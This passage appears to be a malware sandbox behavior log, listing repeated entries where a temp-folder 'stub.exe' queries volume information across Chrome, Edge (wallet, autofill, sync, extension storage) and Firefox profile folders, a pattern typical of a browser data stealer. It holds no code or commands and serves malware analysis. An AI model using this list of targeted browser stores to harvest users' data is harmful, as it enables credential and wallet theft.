Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\FileTypePolicies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\GrShaderCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\hyphen-data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\MEIPreload VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\my VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\nl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Fre VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\de VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\en-GB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\fr-CA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ja VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\pt-BR VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\pt-PT VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\zh-Hans VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\id VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\pt-BR VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification\es VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\de VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\es VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\fr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\fr-CA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\pt-PT VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\zh-Hans VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\zh-Hant VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2023.9.4.1\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Typosquatting VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Typosquatting\1.20231005.1.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Typosquatting\1.20231006.1.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\WidevineCdm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent\1.0.0.5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\bookmarkbackups VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes\events VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived\2023-10 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\events VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\saved-telemetry-pings VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\security_state VolumeInformation	Jump to behavior
